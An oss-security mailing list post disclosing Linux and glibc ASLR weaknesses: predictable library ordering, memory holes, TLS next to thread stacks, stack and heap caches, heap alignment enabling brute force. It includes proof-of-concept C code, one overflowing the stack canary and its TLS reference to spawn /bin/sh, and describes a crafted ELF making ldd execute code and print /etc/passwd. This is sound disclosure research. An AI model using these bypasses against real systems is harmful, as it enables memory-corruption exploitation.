[prev in list] [next in list] [prev in thread] [next in thread]
List: oss-security
Subject: [oss-security] New bypass and protection techniques for ASLR on Linux
From: Ilya Smith <blackzert () gmail ! com>
Date: 2018-02-27 15:11:53
Message-ID: A96CC2FE-84FA-4B84-965A-3ED03F60B990 () gmail ! com
[Download RAW message or body]
Hello everybody,
New bypass and protection techniques for ASLR on Linux
========================================================================
Contents
========================================================================
I. Introduction
II. Problems with current implementation
II.1. Close proximity of memory location
II.2. Fixed method of loading libraries
II.3. Fixed order of execution
II.4. Holes
II.5. TLS and thread stack
II.6. malloc and mmap
II.7. MAP_FIXED and loading of ET_DYN ELF files
II.8. Cache of allocated memory
II.9. thread cache alignment
III. Solutions
III.1 Holes
III.2 Order of loading ELF file segments
III.3 Use of mmap_min_addr when searching for mmap allocation addresses
III.4 mmap
IV. Related Work
V. References
========================================================================
I. Introduction
========================================================================
Before begin, version info:
$ uname -a
Linux blackzert-virtual-machine 4.13.0-36-generic #40-Ubuntu SMP Fri Feb 16
20:07:48 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
$ ldd --version
ldd (Ubuntu GLIBC 2.26-0ubuntu2.1) 2.26
Everything said today also true for current version of linux Kernel - 4.16-rc3
and GNU Libc 2.27
This research started with a small command:
$ less /proc/self/maps
5607a1ae5000-5607a1b0b000 r-xp 00000000 08:01 1966152 /bin/less
5607a1d0a000-5607a1d0b000 r--p 00025000 08:01 1966152 /bin/less
5607a1d0b000-5607a1d0f000 rw-p 00026000 08:01 1966152 /bin/less
5607a1d0f000-5607a1d13000 rw-p 00000000 00:00 0
5607a3bf8000-5607a3c19000 rw-p 00000000 00:00 0 [heap]
7f4d147e7000-7f4d14bf4000 r--p 00000000 08:01 3016021 /usr/lib/locale/locale-archive
7f4d14bf4000-7f4d14dca000 r-xp 00000000 08:01 1179731 /lib/x86_64-linux-gnu/libc-2.26.so
7f4d14dca000-7f4d14fca000 ---p 001d6000 08:01 1179731 /lib/x86_64-linux-gnu/libc-2.26.so
7f4d14fca000-7f4d14fce000 r--p 001d6000 08:01 1179731 /lib/x86_64-linux-gnu/libc-2.26.so
7f4d14fce000-7f4d14fd0000 rw-p 001da000 08:01 1179731 /lib/x86_64-linux-gnu/libc-2.26.so
7f4d14fd0000-7f4d14fd4000 rw-p 00000000 00:00 0
7f4d14fd4000-7f4d14ff9000 r-xp 00000000 08:01 1185166 /lib/x86_64-linux-gnu/libtinfo.so.5.9
7f4d14ff9000-7f4d151f8000 ---p 00025000 08:01 1185166 /lib/x86_64-linux-gnu/libtinfo.so.5.9
7f4d151f8000-7f4d151fc000 r--p 00024000 08:01 1185166 /lib/x86_64-linux-gnu/libtinfo.so.5.9
7f4d151fc000-7f4d151fd000 rw-p 00028000 08:01 1185166 /lib/x86_64-linux-gnu/libtinfo.so.5.9
7f4d151fd000-7f4d15224000 r-xp 00000000 08:01 1179654 /lib/x86_64-linux-gnu/ld-2.26.so
7f4d1540b000-7f4d15410000 rw-p 00000000 00:00 0
7f4d15424000-7f4d15425000 r--p 00027000 08:01 1179654 /lib/x86_64-linux-gnu/ld-2.26.so
7f4d15425000-7f4d15426000 rw-p 00028000 08:01 1179654 /lib/x86_64-linux-gnu/ld-2.26.so
7f4d15426000-7f4d15427000 rw-p 00000000 00:00 0
7ffdeb3ec000-7ffdeb40d000 rw-p 00000000 00:00 0 [stack]
7ffdeb41e000-7ffdeb421000 r--p 00000000 00:00 0 [vvar]
7ffdeb421000-7ffdeb423000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
- The base address of the binary application (/bin/less, in our case) is
5607a1ae5000.
- The heap start address is 5607a3bf8000, being the address of the end of the
binary application plus a random value, which in our case equals 0x1ee5000
(5607a3bf8000-5607a1d13000). The address is aligned to 2^12 due to the x86-64
architecture.
- Address 7f4d15427000 is selected as mmap_base. The address will serve as
the upper boundary when a random address is selected for any memory allocation
via the mmap system call.
- Libraries ld-2.26.so, libtinfo.so.5.9, and libc-2.26.so are located
consecutively.
If subtraction is applied to the neighboring memory regions, we will note the
following: there is a substantial difference between the binary file, heap,
stack, the lowest local-archive address, and the highest ld address. There is
not a single free page between the loaded libraries (files).
If we repeat the procedure several times, the picture will remain practically
the same: the difference between pages will vary, while libraries and files
will remain identical in location relative to one another. This fact will be
crucial for our analysis.
Current mmap implementation is the reason of this behavior.
The logic is stored in the do_mmap kernel function, which implements memory
allocation both on the part of the user (mmap syscall) and on the part of the
kernel (when executing execve). In the first stage, an available address is
selected ( get_unmapped_area); in the second stage, pages are mapped to that
address (mmap_region). We will start with the first stage.
The following options are possible when selecting an address:
1. If the MAP_FIXED flag is set, the system will return the value of the addr
argument as the address.
2. If the addr argument value is not zero, this value is used as a hint and,
in some cases, will be selected.
3. The largest address of an available region will be selected as the
address, as long as it is suitable in length and lies within the allowed range
of selectable addresses.
4. The address is checked for security-related restrictions.
If all is successful, the region of memory at the selected address will be
allocated.
Details of address selection algorithm
The structure underlying the manager of process virtual memory is
vm_area_struct (or vma, for short):
struct vm_area_struct {
unsigned long vm_start; /* Our start address within vm_mm. */
unsigned long vm_end; /* The first byte after our end address
within vm_mm. */
...
/* linked list of VM areas per task, sorted by address */
struct vm_area_struct *vm_next, *vm_prev;
struct rb_node vm_rb;
...
pgprot_t vm_page_prot; /* Access permissions of this VMA. */
...
};
This structure describes the start of the virtual memory region, the region
end, and access flags for pages within the region.
vma is organized in a doubly linked list of region start addresses, in
ascending order, and also an augmented red-black tree of region start
addresses, in ascending order as well. A good rationale for this solution is
given by the kernel developers themselves [1].
The red-black tree augment is the amount of available memory for a particular
node. The amount of available memory for a node is defined as whichever is the
highest of:
- The difference between the start of the current vma and end of the
preceding vma in an ascending-ordered doubly linked list
- Amount of available memory of the left-hand subtree
- Amount of available memory of the right-hand subtree
This structure makes it possible to quickly search (in O(log n) time) for the
vma that corresponds to a certain address or select an available range of a
certain length.
During the address selection process, two important boundaries are identified
as well: the minimum lower boundary and the maximum upper boundary. The lower
boundary is determined by the architecture as the minimum allowable address or
as the minimum value permitted by the system administrator. The upper
boundary—mmap_base—is selected as stack–random, where stack is the maximum
stack address while random is a random value with entropy of 28 to 32 bits,
depending on relevant kernel parameters. The Linux kernel cannot choose an
address higher than mmap_base. In the address space of the address process,
large mmap_base values either correspond to the stack and special system
regions (vvar and vdso), or will never be used unless explicitly marked with
the MMAP_FIXED flag.
So in this whole scheme, the following values remain unknown: the address of
the start of the main thread stack, the base address for loading the
application binary file, the start address of the application heap, and
mmap_base, which is the starting address for memory allocation with mmap.
========================================================================
II. Problems with current implementation
========================================================================
The memory allocation algorithm just described has a number of weaknesses.
========================================================================
II.1. Close proximity of memory location
========================================================================
An application uses virtual RAM. Common uses of memory by an application
include the heap, code, and data (.rodata, .bss) of loaded modules, thread
stacks, and loaded files. Any mistake in processing the data from these pages
may affect nearby data as well. As more pages with differing types of contents
are located in close proximity, the attack area becomes larger and the
probability of successful exploitation rises.
Examples of such mistakes include out-of-bounds [2], overflow (integer [3] or
buffer [4], and type confusion [5].
A specific instance of this problem is that the system remains vulnerable to
the Offset2lib attack, as described in [6]. In short: the base address for
program loading is not allocated separately from libraries, yet the kernel
selects it as mmap_base. If the application contains vulnerabilities, it
becomes easier to exploit them, because library images are located in close
proximity to the binary application image.
A good example demonstrating this problem is a PHP vulnerability in [7] that
allows reading or altering neighboring memory regions.
========================================================================
II.2. Fixed method of loading libraries
========================================================================
In Linux, dynamic libraries are loaded practically without calling the Linux
kernel. The ld library (from GNU Libc) is in charge of this process. The only
way the kernel participates is via the mmap function (we will not yet consider
open/stat and other file operations): this is required for loading the code and
library data into the process address space. An exception is the ld library
itself, which is usually written in the executable ELF file as the interpreter
for file loading. As for the interpreter, it is loaded by the kernel.
If ld from GNU Libc is used as the interpreter, libraries are loaded in a way
resembling the following:
1. The program ELF file is added to the file queue for processing.
2. The first ELF file is taken out of the queue (FIFO).
3. If the file has not been loaded yet into the process address space, it is
loaded with the help of mmap.
4. Each library needed for the file in question is added to the queue of
files for processing.
5. As long as the queue is not empty, repeat step 2.
This algorithm means that the order of loading is always determinate and can be
repeated if all the required libraries (their binary files) are known. This
allows recovering the addresses of all libraries if the address of any single
library is known:
1. Assume that the address of the libc library is known.
2. Add the length of the libc library to the libc loading address—this is the
loading address of the library that was loaded before libc.
3. Continuing in the same manner, we obtain mmap_base values and addresses of
the libraries that were loaded before libc.
4. Subtract from the libc address the length of the library loaded after
libc. This is the address of the library loaded after libc.
5. Iterating in the same manner, we obtain the addresses of all libraries
that were loaded at program start with the ld interpreter.
If a library is loaded while the program is running (for instance, via the
dlopen function), its position in relation to other libraries may be unknown to
attackers in some cases. For example, this may happen if there were mmap calls
for which the size of allocated memory regions is unknown to attackers.
When it comes to exploiting vulnerabilities, knowledge of library addresses
helps significantly: for instance, when searching for gadgets to build ROP
chains. What's more, if any library contains a vulnerability that allows
reading or writing values relative to the library address, such a vulnerability
will be easily exploited, since the libraries are sequential.
Most Linux distributions contain compiled packages with the most widespread
libraries (such as libc). This means that the length of libraries is known,
giving a partial picture of the distribution of virtual address space of a
process in such a case.
Theoretically, one could build a large database for this purpose. For Ubuntu,
it would contain versions of libraries including ld, libc, libpthread, and
libm; for each version of a library, multiple versions of libraries necessary
for it (dependencies) may be analyzed. So by knowing the address of one
library, one can know possible map versions describing the distribution of part
of the process address space.
Examples of such databases are libcdb.com and libc.blukat.me, which are used to
identify libc versions based on offsets for known functions.
All this means that a fixed method of loading libraries is an application
security problem. The behavior of mmap, described in the previous section,
compounds the problem. In Android, this problem is solved in version 7 and
later [8] [9].
========================================================================
II.3. Fixed order of execution
========================================================================
Programs have an interesting property: there is a pair of certain points in the
execution thread between which the program state is predictable. For example,
once a client has connected to a network service, the service allocates some
resources to the client. Part of these resources may be allocated from the
application heap. In this case, the relative position of objects in the heap is
usually predictable.
This property is useful for exploiting applications, by "building" the program
state required by an attacker. Here we will call this state a fixed order of
execution.
In some cases of this property, there is a certain fixed point in the thread of
execution. At this point, from the start of execution, from launch to launch,
the program state remains identical except for some variables. For example,
before the main function is executed, the ld interpreter must load and
initialize all the libraries and then initialize the program. As noted in
Section 4.2, the relative position of libraries will always be the same. During
execution of the main function, the differences will consist in the specific
addresses used for program loading, libraries, stack, heap, and objects
allocated in memory. These differences are due to the randomization described
in Section 6.
As a result, an attacker can obtain information on the relative position of
program data. This position is not affected by randomization of the process
address space.
At this stage, the only possible source of entropy is competition between
threads: if the program creates several threads, their competition in working
with the data may introduce entropy to the location of objects. In this
example, creating threads before executing the main function is possible with
the help of the program global constructors or required libraries.
When the program starts using the heap and allocating memory from it (usually
with the help of new/malloc), the mutual position of objects in the heap will
remain constant for each launch up to a certain moment.
In some cases, the position of thread and heap stacks will also be predictable
in relation to library addresses.
If needed, it is possible to obtain these offsets to use in exploitation. One
way is to simply execute "strace -e mmap" for this application twice and
compare the difference in addresses.
========================================================================
II.4. Holes
========================================================================
If an application allocates memory with mmap and then frees up part of that
memory, this can cause holes—free memory regions that are surrounded by
occupied regions. Problems may come up if this free memory (hole) is again
allocated for a vulnerable object (a object during whose processing the
application demonstrates a vulnerability). This brings us back to the problem
of closely located objects in memory.
One illustrative example of such holes was found in the code for ELF file
loading in the Linux kernel. When loading the ELF file, the kernel first reads
the size of the file and tries to map it in full via do_mmap . Once the file
has been fully loaded, the memory after the first segment is freed up. All
following segments are loaded at a fixed address ( MAP_FIXED) that is set
relative to the first segment. All this is needed in order to load the entire
file at the selected address and separate segments by rights and offsets in
accordance with their descriptions in the ELF file. This approach can cause
memory holes if the holes were present in the ELF file between segments.
In the same situation, during loading of an ELF file, the ld interpreter (GNU
Libc) does not call unmap but changes permissions for the free pages (holes) to
PROT_NONE, which forbids the process from having any access to these pages.
This approach is more secure.
To show impact of that problem start with following command:
$ strace -e mmap,munmap,open,openat,arch_prctl -f cat /proc/self/maps
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
mmap(NULL, 79806, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7fa5fd8bc000
...
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =
0x7fa5fd8ba000
arch_prctl(ARCH_SET_FS, 0x7fa5fd8bb500) = 0
munmap(0x7fa5fd8bc000, 79806) = 0
...
openat(AT_FDCWD, "/proc/self/maps", O_RDONLY) = 3
mmap(NULL, 139264, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =
0x7fa5fd898000
...
560d3c3e5000-560d3c3ed000 r-xp 00000000 08:01 1966104 /bin/cat
560d3c5ec000-560d3c5ed000 r--p 00007000 08:01 1966104 /bin/cat
560d3c5ed000-560d3c5ee000 rw-p 00008000 08:01 1966104 /bin/cat
560d3e00b000-560d3e02c000 rw-p 00000000 00:00 0 [heap]
7fa5fcebc000-7fa5fd2c9000 r--p 00000000 08:01 3016021 /usr/lib/locale/locale-archive
7fa5fd2c9000-7fa5fd49f000 r-xp 00000000 08:01 1179731 /lib/x86_64-linux-gnu/libc-2.26.so
7fa5fd49f000-7fa5fd69f000 ---p 001d6000 08:01 1179731 /lib/x86_64-linux-gnu/libc-2.26.so
7fa5fd69f000-7fa5fd6a3000 r--p 001d6000 08:01 1179731 /lib/x86_64-linux-gnu/libc-2.26.so
7fa5fd6a3000-7fa5fd6a5000 rw-p 001da000 08:01 1179731 /lib/x86_64-linux-gnu/libc-2.26.so
7fa5fd6a5000-7fa5fd6a9000 rw-p 00000000 00:00 0
7fa5fd6a9000-7fa5fd6d0000 r-xp 00000000 08:01 1179654 /lib/x86_64-linux-gnu/ld-2.26.so
7fa5fd898000-7fa5fd8bc000 rw-p 00000000 00:00 0
7fa5fd8d0000-7fa5fd8d1000 r--p 00027000 08:01 1179654 /lib/x86_64-linux-gnu/ld-2.26.so
7fa5fd8d1000-7fa5fd8d2000 rw-p 00028000 08:01 1179654 /lib/x86_64-linux-gnu/ld-2.26.so
7fa5fd8d2000-7fa5fd8d3000 rw-p 00000000 00:00 0
7ffc0a6bc000-7ffc0a6dd000 rw-p 00000000 00:00 0 [stack]
7ffc0a730000-7ffc0a733000 r--p 00000000 00:00 0 [vvar]
7ffc0a733000-7ffc0a735000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
munmap(0x7fa5fd898000, 139264) = 0
+++ exited with 0 +++
Here file "/etc/ld.so.cache" mmaped to the hole inside ld-2.26.so with adddress
0x7fa5fd8bc000. Later mmap is called to get 0x7fa5fd8ba000 address with size
8192. This range contain TCB (thread control block) structure of main thread,
set with arch_prctl(ARCH_SET_FS, 0x7fa5fd8bb500). Before 'main' function of
'cat' programm called, 0x7fa5fd8bc000 is unmapped leaving another one hole -
between TCB and ld read-only segment.
These two holes:
1. between ld .text and 0x7fa5fd8ba000 what is used for TCB
2. between 0x7fa5fd8bc000 (what is end of TCB) and ld .rdonly
might be used to bypass ASLR, if attacker do mmap vulnerable object in these
holes (only appropriated size needed to do so) and use read/write out-of-bounds
vulnerabilities to get access to ld data or TCB or any other library data.
As example '/self/proc/maps' itself mmapped in the hole - 0x7fa5fd898000.
Another one way to mmap there is call malloc with big size - in this case glibc
call mmap.
========================================================================
II.5. TLS and thread stack
========================================================================
Thread Local Storage (TLS) is a mechanism whereby each thread in a multithread
process can allocate locations for data storage [10]. The mechanism is
implemented differently on different architectures and operating systems. In
our case, this is the glibc implementation under x86-64. For x86, any
difference will not be material for the mmap problem in question.
In the case of glibc, mmap is also used to create TLS. This means that TLS is
selected in the way described already here. If TLS is close to a vulnerable
object, it can be altered.
What is interesting about TLS? In the glibc implementation, TLS is pointed to
by the segment register fs (for the x86-64 architecture). Its structure is
described by the tcbhead_t type defined in glibc source files:
typedef struct
{
void *tcb; /* Pointer to the TCB. Not necessarily the
thread descriptor used by libpthread. */
dtv_t *dtv;
void *self; /* Pointer to the thread descriptor. */
int multiple_threads;
int gscope_flag;
uintptr_t sysinfo;
uintptr_t stack_guard;
uintptr_t pointer_guard;
...
} tcbhead_t;
This type contains the field stack_guard, which contains a so-called canary—a
random or pseudorandom number for protecting an application from stack
overflows [11].
This protection works in the following way: when a function is entered, a
canary obtained from tcbhead_t.stack_guard is placed on the stack. At the end
of the function, the stack value is compared to the reference value in
tcbhead_t.stack_guard. If the two values do not match, the application will
return an error and terminate.
Canaries can be bypassed in several ways:
- If an attacker does not need to overwrite this value [12].
- If an attacker has managed to read or anticipate this value, making it
possible to perform a successful attack [12].
- If an attacker can overwrite this value with a known one, making it
possible to cause a stack overflow [12].
- An attacker can take control before the application terminates [13].
- The listed bypasses highlight the importance of protecting TLS from reading
or overwriting by an attacker.
Our research revealed that glibc has a problem in TLS implementation for
threads created with the help of pthread_create. Say that it is required to
select TLS for a new thread. After allocating memory for the stack, glibc
initializes TLS in upper addresses of this memory. On the x86-64 architecture
considered here, the stack grows downward, putting TLS at the top of the stack.
Subtracting a certain constant value from TLS, we obtain the value used by a
new thread for the stack register. The distance from TLS to the stack frame of
the function that the argument passed to pthread_create is less than one page.
Now a would-be attacker does not need to guess or peek at the canary value—the
attacker can just overwrite the reference value alongside with the stack value,
bypassing protection entirely. A similar problem was found in Intel ME [14].
Here is Proof Of Concept:
void pwn_payload() {
char *argv[2] = {"/bin/sh", 0};
execve(argv[0], argv, 0);
}
int fixup = 0;
void * first(void *x)
{
unsigned long *addr;
arch_prctl(ARCH_GET_FS, &addr);
printf("thread FS %p\n", addr);
printf("cookie thread: 0x%lx\n", addr[5]);
unsigned long * frame = __builtin_frame_address(0);
printf("stack_cookie addr %p \n", &frame[-1]);
printf("diff : %lx\n", (char*)addr - (char*)&frame[-1]);
unsigned long len =(unsigned long)( (char*)addr - (char*)&frame[-1]) +
fixup;
// example of exploitation
// prepare exploit
void *exploit = malloc(len);
memset(exploit, 0x41, len);
void *ptr = &pwn_payload;
memcpy((char*)exploit + 16, &ptr, 8);
// exact stack-buffer overflow example
memcpy(&frame[-1], exploit, len);
return 0;
}
int main(int argc, char **argv, char **envp)
{
pthread_t one;
unsigned long *addr;
void *val;
arch_prctl(ARCH_GET_FS, &addr);
if (argc > 1)
fixup = 0x30;
printf("main FS %p\n", addr);
printf("cookie main: 0x%lx\n", addr[5]);
pthread_create(&one, NULL, &first, 0);
pthread_join(one,&val);
return 0;
}
And running it:
blackzert@crasher:~/aslur/tests$ ./thread_stack_tls 1
main FS 0x7f4d94b75700
cookie main: 0x2ad951d602d94100
thread FS 0x7f4d94385700
cookie thread: 0x2ad951d602d94100
stack_cookie addr 0x7f4d94384f48
diff : 7b8
$ ^D
blackzert@crasher:~/aslur/tests$
`Diff` here is a size in bytes between current stack frame and TCB structure.
This one equals to 0x7b8 bytes what is one page less.
The protection against buffer overflow could be bypassed by buffer overflow.
========================================================================
II.6. malloc and mmap
========================================================================
When using malloc, sometimes glibc uses mmap for allocating new memory areas if
the size of requested memory is larger than a certain value. In such cases,
memory will be allocated with the help of mmap, so, after memory allocation,
the address will be close to libraries or other data allocated with mmap.
Attackers pay close attention to mistakes in handling of heap objects, such as
heap overflow, use after free [15], and type confusion [5].
An interesting behavior of the glibc library was found when a program uses
pthread_create. At the first call of malloc from the thread created with
pthread_create, glibc will call mmap to create a new heap for this stack. So,
in this thread, all the addresses called via malloc will be located close to
the stack of this same thread.
Some programs and libraries use mmap for mapping files to the address space of
a process. The files may be used as, for example, cache or for fast saving
(altering) of data on the drive.
Here is an abstract example: an application loads an MP3 file with the help of
mmap. Let us call the load address mmap_mp3. Then the application reads, from
the loaded data, the offset to the start of audio data. If the application
contains a mistake in its routine for verifying the length of that value, an
attacker may specially craft an MP3 file able to obtain access to the memory
region located after mmap_mp3.
Some PoC code:
int main(int argc, char **argv, char **envp)
{
int res;
system(""); // call to make lazy linking
execv("", NULL); // call to make lazy linking
unsigned long addr = (unsigned long)mmap(0, 8 * 4096 *4096, 3, MAP_ANON |
MAP_PRIVATE, -1, 0);
if (addr == MAP_FAILED)
return -1;
unsigned long addr_system = (unsigned long)dlsym(RTLD_NEXT, "system");
unsigned long addr_execv = (unsigned long)dlsym(RTLD_NEXT, "execv");
printf("addr %lx system %lx execv %lx\n", addr, addr_system, addr_execv);
printf("system - addr %lx execv - addr %lx\n", addr_system - addr,
addr_execv - addr);
return 0;
}
And results:
blackzert@crasher:~/aslur/tests$ ./mmap_libc
addr 7f02e9f85000 system 7f02f1fca390 execv 7f02f2051860
system - addr 8045390 execv - addr 80cc860
This shows constant offsets to library data from mmapped segment (malloced as
well).
========================================================================
II.7. MAP_FIXED and loading of ET_DYN ELF files
========================================================================
The mmap manual says the following regarding the MAP_FIXED flag:
MAP_FIXED
Don't interpret addr as a hint: place the mapping at exactly that address.
addr must be a multiple of the page size. If the memory region specified by
addr and len overlaps pages of any existing mapping(s), then the overlapped
part of the existing mapping(s) will be discarded. If the specified address
cannot be used, mmap() will fail. Because requiring a fixed address for a
mapping is less portable, the use of this option is discouraged.
If the requested region with the MAP_FIXED flag overlaps existing regions,
successful mmap execution will overwrite existing regions.
Therefore, if a programmer makes a mistake with MAP_FIXED, existing memory
regions may be redefined.
An interesting example of such a mistake has been found both in the Linux
kernel and in glibc.
As described in [16], ELF files are subject to the requirement that, in the
Phdr header, ELF file segments must be arranged in ascending order of vaddr
addresses:
PT_LOAD
The array element specifies a loadable segment, described by p_filesz and
p_memsz. The bytes from the file are mapped to the start of the memory segment.
If the segment's memory size (p_memsz) is larger than the file size (p_filesz),
the "extra" bytes are defined to hold the value 0 and to follow the segment's
initialized area. The file size may not be larger than the memory size.
Loadable segment entries in the program header table appear in ascending order,
sorted on the p_vaddr member.
However, this requirement is not checked. The current code for ELF file loading
is as follows:
case PT_LOAD:
struct loadcmd *c = &loadcmds[nloadcmds++];
c->mapstart = ALIGN_DOWN (ph->p_vaddr, GLRO(dl_pagesize));
c->mapend = ALIGN_UP (ph->p_vaddr + ph->p_filesz, GLRO(dl_pagesize));
...
maplength = loadcmds[nloadcmds - 1].allocend - loadcmds[0].mapstart;
...
for (const struct loadcmd *c = loadcmds; c < &loadcmds[nloadcmds]; ++c)
...
/* Map the segment contents from the file. */
if (__glibc_unlikely (__mmap ((void *) (l->l_addr + c->mapstart),
maplen, c->prot,
MAP_FIXED|MAP_COPY|MAP_FILE,
fd, c->mapoff)
All segments are processed according to the following algorithm:
1. Calculate the size of the loaded ELF file: the address of the end of the
last segment end, minus the start address of the first segment.
2. With the help of mmap, allocate memory for the entire ELF file with that
size, thus obtaining the base address for ELF file loading.
3. In the case of glibc, change access rights. If loading from the kernel,
release regions that create holes. Here the behavior of glibc and the Linux
kernel differ, as described in Section 4.4.
4. With the help of mmap and the MAP_FIXED flag, allocate memory for
remaining segments by using the address obtained by isolating the first segment
and adding the offset obtained from the ELF file header.
This enables an intruder to create an ELF file, one of whose segments can fully
overwrite an existing memory region—such as the thread stack, heap, or library
code.
An example of a vulnerable application is the ldd tool, which is used to check
whether required libraries are present in the system:
blackzert@crasher:~/aslur/tests/evil_elf$ ldd ./main
linux-vdso.so.1 => (0x00007ffc48545000)
libevil.so => ./libevil.so (0x00007fbfaf53a000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fbfaf14d000)
/lib64/ld-linux-x86-64.so.2 (0x000055dda45e6000)
The tool uses the ld interpreter. Taking advantage of the problem with ELF file
loading just discussed, we succeeded in executing arbitrary code with ldd:
blackzert@crasher:~/aslur/tests/evil_elf$ ldd ./main
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
blackzert@crasher:~/aslur/tests/evil_elf$
The issue of MAP_FIXED has also been raised in the Linux community previously
[17].
========================================================================
II.8. Cache of allocated memory
========================================================================
glibc has many different caches, of which two are interesting in the context of
ASLR: the cache for the stack of a newly created thread and the heap stack. The
stack cache works as follows: on thread termination, stack memory will not be
released but will be transferred to the corresponding cache. When creating a
thread stack, glibc first checks the cache. If the cache contains a region of
the required length, glibc uses that region. In this case, mmap will not be
accessed, and the new thread will use the previously used region with the same
addresses. If the attacker has successfully obtained the thread stack address,
and can control creation and deletion of program threads, the intruder can use
knowledge of the address for vulnerability exploitation. Further, if the
application contains uninitialized variables, their values can also be subject
to the attacker's control, which may lead to exploitation in some cases.
The heap cache works as follows: on thread termination, its heap moves to the
corresponding cache. When a heap is created again for a new thread, the cache
is checked first. If the cache has an available region, this region will be
used. In this case, everything about the stack in the previous paragraph
applies here as well.
Here is PoC:
void * func(void *x)
{
long a[1024];
printf("addr: %p\n", &a[0]);
if (x)
printf("value %lx\n", a[0]);
else
{
a[0] = 0xdeadbeef;
printf("value %lx\n", a[0]);
}
void * addr = malloc(32);
printf("malloced %p\n", addr);
free(addr);
return 0;
}
int main(int argc, char **argv, char **envp)
{
int val;
pthread_t thread;
printf("thread1\n");
pthread_create(&thread, NULL, func, 0);
pthread_join(thread, &val);
printf("thread2\n");
pthread_create(&thread, NULL, func, 1);
pthread_join(thread, &val);
return 0;
}
blackzert@crasher:~/aslur/tests$ ./pthread_cache
thread1
addr: 0x7fd035e04f40
value deadbeef
malloced <b>0x7fd030000cd0
thread2
addr: 0x7fd035e04f40
value deadbeef
malloced 0x7fd030000cd0
As clearly seen, the addresses of local variables in the stack for
consecutively created threads remain the same. Also the same are the addresses
of variables allocated for them via malloc; some values of the first thread's
local variables are still accessible to the second thread. An attacker can use
this to exploit vulnerabilities of uninitialized variables [18]. Although the
cache speeds up the application, it also enables attackers to bypass ASLR and
carry out exploitation.
========================================================================
II.9. thread cache alignment
========================================================================
Let us now create a thread, allocate some memory with malloc, and calculate the
difference from the local variable in this thread. Source code:
void * first(void *x)
{
int a = (int)x;
int *p_a = &a;
void *ptr;
ptr = malloc(8);
printf("%lx\n%p, %p\n", (unsigned long long)ptr - (unsigned long long)p_a,
ptr, p_a);
return 0;
}
int main()
{
pthread_t one;
pthread_create(&one, NULL, &first, 0);
void *val;
pthread_join(one,&val);
return 0;
}
The first launch:
blackzert@crasher:~/aslur/tests$ ./thread_stack_small_heap
fffffffff844e98c
0x7f20480008c0, 0x7f204fbb1f34
And the second launch:
blackzert@crasher:~/aslur/tests$ ./thread_stack_small_heap
fffffffff94a598c
0x7fa3140008c0, 0x7fa31ab5af34
In this case, the difference was not the same. Nor will it remain the same from
launch to launch. Let us consider the reasons for this.
The first thing to note: the malloc-derived pointer address does not correspond
to the process heap address.
glibc creates a new heap for each new thread created with the help of
pthread_create. The pointer to this heap lies in TLS, so any thread allocates
memory from its own heap, which increases performance, since there is no need
to sync threads in case of concurrent malloc use.
But why then is the address "random"?
When allocating a new heap, glibc uses mmap; the size depends on the
configuration. In this case, the heap size is 64 MB. The heap start address
must be aligned to 64 MB. So the system first allocates 128 MB and then aligns
a piece of 64 MB in this range while unaligned pieces are released and create a
"hole" between the heap address and the closest region that was previously
allocated with mmap.
Randomness is brought about by the kernel itself when selectingmmap_based: this
address is not aligned to 64 MB, as were the mmap memory allocations before the
call of the malloc in question.
Regardless of why address alignment is required, this leads to a very
interesting effect: bruteforcing becomes possible.
The Linux kernel defines the process address space for x86-64 as "48 bits minus
one guard page", which for simplicity we will round to 2^48 (omitting the
one-page subtraction in our size calculations). 64 MB is 2^26, so the
significant bits equal 48 – 26 = 22, giving us a total of 2^22 various heaps of
secondary threads.
This substantially narrows the bruteforcing range.
Because the mmap address is selected in a known way, we can assume that the
heap of the first thread created with pthread_create will be selected as 64 MB
close to the upper address range. To be more precise, it will be close to all
the loaded libraries, loaded files, and so on.
In some cases, it is possible to calculate the total amount of memory allocated
before the call to the malloc in question. In our case, we loaded only glibc
and ld and created a stack for the thread. So this value is small.
mmap_base is selected with an entropy of 28 to 32 bits depending on kernel
settings at compile time (28 bits by default). So some top boundary is set off
by that same amount.
Thus, in many cases, the upper 8 bits of the address will equal 0x7f, while in
rare cases, they will be 0x7e. That gives us another 8 bits of certainty. There
are a total of 2^14 possible options for selecting a heap for the first thread.
The more threads are created, the lesser that value is for the next heap
selection.
Let us illustrate this behavior with the following C code:
void * first(void *x)
{
int a = (int)x;
void *ptr;
ptr = malloc(8);
printf("%p\n", ptr );
return 0;
}
int main()
{
pthread_t one;
pthread_create(&one, NULL, &first, 0);
void *val;
pthread_join(one,&val);
return 0;
}
Then let us launch the program a sufficient number of times with Python code
for collecting address statistics:
import subprocess
d = {}
def dump(iteration, hysto):
print 'Iteration %d len %d'%(iteration, len(hysto))
for key in sorted(hysto):
print hex(key), hysto[key]
i = 0
while i < 1000000:
out = subprocess.check_output(['./t'])
addr = int(out, 16)
#omit page size
addr >>= 12
if addr in d:
d[addr] += 1
else:
d[addr] = 1
i += 1
dump(i,d)
This code launches the simple './t' program, which creates a new thread, a
sufficient number of times.
The code allocates a buffer with the help of malloc and displays the buffer
address. Once the program has completed this, the address is read and the
program calculates how many times the address was encountered during operation
of the program. The script collects a total of 16,385 different addresses,
which equals 2^14+1. This is the number of attempts an attacker could make, in
the worst case, to guess the heap address of the program in question.
========================================================================
III. Solutions
========================================================================
In this article, we have reviewed several problems - some of them attended to
Linux Kernel, some to GNU Libc; now we can consider fixes for Linux Kernel
problems. You may track GNU Libc issues by following links:
- Stack protector easy to bypass
https://sourceware.org/bugzilla/show_bug.cgi?id=22850
